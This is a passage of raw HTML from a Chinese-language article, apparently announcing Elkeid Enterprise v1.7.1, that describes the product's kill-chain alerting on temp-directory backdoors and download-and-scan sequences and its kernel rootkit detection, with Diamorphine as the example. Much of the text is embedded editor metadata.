&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这里的告警对临时文件目录下创建后门行为来进行告警。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">从告警链条上可以直接看到特定的</span><code>临时文件创建</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">和</span><code>临时文件外链</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">行为。</span></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:49,&#34;end&#34;:52,&#34;blockIds&#34;:[56,57,58,59],&#34;recordIds&#34;:[&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;],&#34;recordMap&#34;:{&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;:{&#34;id&#34;:&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[&#34;7086666019263119388&#34;],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;comment-id-7086666019263119388&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0*2+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;杀伤链检测 &#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;:{&#34;id&#34;:&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;7d8d8ecb-b4f6-4877-89e5-fed621f03afe\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_43784976,enterprise_35596048,enterprise_36907350\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3*1*0+3*0+2z&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;有鉴于APT入侵过程均较为隐蔽，整体行为非常接近正常运维/业务操作，且也不一定会用到特征明显的后门或者木马。Elkeid 会对机器上的行为序列进行分析、打分、并按照杀伤链合并成告警，可以有效发现掩盖在业务操作中的隐蔽入侵行为。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;:{&#34;id&#34;:&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6945640709437259777&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6945640709437259777&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例一：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;:{&#34;id&#34;:&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;inlineCode&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+14*0*1+6*0+1*0*1+6*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;这里的告警对临时文件目录下创建后门行为来进行告警。从告警链条上可以直接看到特定的临时文件创建和临时文件外链行为。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;:{&#34;level&#34;:1},&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;:{&#34;level&#34;:1},&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.69296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=20579134&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCLD0LomdrP8WZspwib6t4G4rlbzK1icgLTXjU83Dx8YJMm5rKicreVzCPw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p>例二：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这里的Elkeid对文件下载，赋权，扫描等行为序列来进行告警。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">从溯源图上可以直接看到特定的</span><code>下载</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，</span><code>赋权</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">和</span><code>扫描</code><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">行为。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.715625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9c9f4d60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCVib2uqkf7Q2SKEtjiaicMICWM0Ez19wpzK6dPXAFYviacSQI28M5TssBcg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>内核态</strong><strong>Rootkit检测</strong></p></li></ul><p>在当下，Linux Rootkit 已经广泛作为武器化进行使用，内核态 Rootkit 的危险程度是超出大部分安全工程师的预期的。E lkeid 在ring0 层提供内核态的Rootkit检测和追溯能力。目前我们支持多种 Rootkit 的行为检测，不依赖指纹，可以更好的识别未知威胁。</p><p><br/></p><p>例：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这里我们的Rootkit检测能力可以成功发现并检出已经加载进内核的 </span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">D</span><code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);">iamorphine</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"> Rootkit</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，并指出了其对应的恶意行为。</span></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.5692307692307692" data-s="300,640" style="width: 334px;height: 524px;" data-type="png" data-w="650" src="https://wechat2rss.xlab.app/img-proxy/?k=d0e23233&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkC28oRmsf7vbCkhMicm2QvS8EVUibanS38RbEPmBGIZKZcmgbfXxNd604A%2F640%3Fwx_fmt%3Dpng"/></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:59,&#34;end&#34;:62,&#34;blockIds&#34;:[66,67,68,69],&#34;recordIds&#34;:[&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;],&#34;recordMap&#34;:{&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;:{&#34;id&#34;:&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;6f2c190c-cd4f-47e0-94cf-b3650f0e8d7b\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_52927798\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*2*0+3*2*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;内核态Rootkit检测&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;seq&#34;:&#34;auto&#34;}},&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;:{&#34;id&#34;:&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;c472a0ac-f914-41b3-8271-b635ccb7b826\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_52927798\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;cfa13b0f-a344-4660-bb81-18e999385895\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_43784976,enterprise_35596048,enterprise_36907350\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+w*1*0+3*0+2d*2*0+3*0+26&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;在当下，Linux Rootkit 已经广泛作为武器化进行使用，内核态Rootkit的危险程度是超出大部分安全工程师的预期的。Elkeid Team 真实追溯过于2006开始进行的Linux 内核态Rootkit，并挖掘出以此潜伏10余年的APT行为。Elkeid在ring0 层提供内核态的Rootkit检测和追溯能力。目前我们支持多种Rootkit 的行为检测，不依赖指纹，可以更好的识别未知威胁。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;:{&#34;id&#34;:&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;:{&#34;id&#34;:&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;inlineCode&#34;,&#34;true&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+x*0*1+b*0+8*2+e&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;这里我们的Rootkit检测能力可以成功发现并检出已经加载进内核的diamorphine 